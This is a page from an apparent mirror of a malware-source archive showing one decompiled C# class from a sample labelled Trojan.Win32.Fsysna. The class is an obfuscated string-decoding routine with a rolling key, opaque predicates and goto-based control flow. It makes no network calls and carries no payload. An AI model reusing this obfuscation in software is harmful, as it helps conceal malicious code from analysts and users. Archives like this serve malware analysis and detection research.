mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-05 01:45:27 +00:00
f2ac1ece55
add
86 lines
2.5 KiB
C#
86 lines
2.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: xb9d8bb5e6df032aa.x1110bdd110cdcea4
|
|
// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe
|
|
|
|
namespace xb9d8bb5e6df032aa
|
|
{
|
|
public class x1110bdd110cdcea4
|
|
{
|
|
public static string _d574bb1a8f3e9cbc(string x5e99b576d2530d13, int x2710752c36f2d14b)
|
|
{
|
|
ushort num1 = (ushort) x2710752c36f2d14b;
|
|
char[] chArray;
|
|
if ((x2710752c36f2d14b & 0) == 0)
|
|
{
|
|
label_8:
|
|
chArray = new char[x5e99b576d2530d13.Length / 4];
|
|
label_2:
|
|
int index = 0;
|
|
bool flag = (uint) index + (uint) num1 > uint.MaxValue;
|
|
ushort num2;
|
|
if (!flag || ((int) num2 | -1) != 0)
|
|
goto label_10;
|
|
label_3:
|
|
if (!flag)
|
|
{
|
|
if ((index & 0) == 0)
|
|
goto label_10;
|
|
}
|
|
else
|
|
goto label_8;
|
|
label_5:
|
|
if ((uint) num2 - (uint) num2 >= 0U)
|
|
goto label_15;
|
|
label_6:
|
|
if ((uint) x2710752c36f2d14b + (uint) x2710752c36f2d14b >= 0U)
|
|
{
|
|
flag = (uint) x2710752c36f2d14b - (uint) x2710752c36f2d14b > uint.MaxValue;
|
|
goto label_3;
|
|
}
|
|
else
|
|
goto label_16;
|
|
label_10:
|
|
if (index < x5e99b576d2530d13.Length / 4)
|
|
{
|
|
if ((index | 4) != 0)
|
|
{
|
|
do
|
|
{
|
|
num2 = (ushort) ((uint) (ushort) ((int) x5e99b576d2530d13[4 * index] - 97 + ((int) x5e99b576d2530d13[4 * index + 1] - 97 << 4) + ((int) x5e99b576d2530d13[4 * index + 2] - 97 << 8) + ((int) x5e99b576d2530d13[4 * index + 3] - 97 << 12)) - (uint) num1);
|
|
chArray[index] = (char) num2;
|
|
num1 += (ushort) 1789;
|
|
++index;
|
|
}
|
|
while ((uint) flag + (uint) num2 > uint.MaxValue);
|
|
goto label_6;
|
|
}
|
|
}
|
|
else
|
|
goto label_13;
|
|
label_12:
|
|
if ((uint) num1 + (uint) flag >= 0U && !flag)
|
|
{
|
|
if ((uint) flag <= uint.MaxValue)
|
|
goto label_5;
|
|
else
|
|
goto label_2;
|
|
}
|
|
else
|
|
goto label_8;
|
|
label_13:
|
|
if (true)
|
|
{
|
|
flag = ((int) num2 | 15) == 0;
|
|
goto label_12;
|
|
}
|
|
}
|
|
label_15:
|
|
string str = new string(chArray);
|
|
label_16:
|
|
return str;
|
|
}
|
|
}
|
|
}
|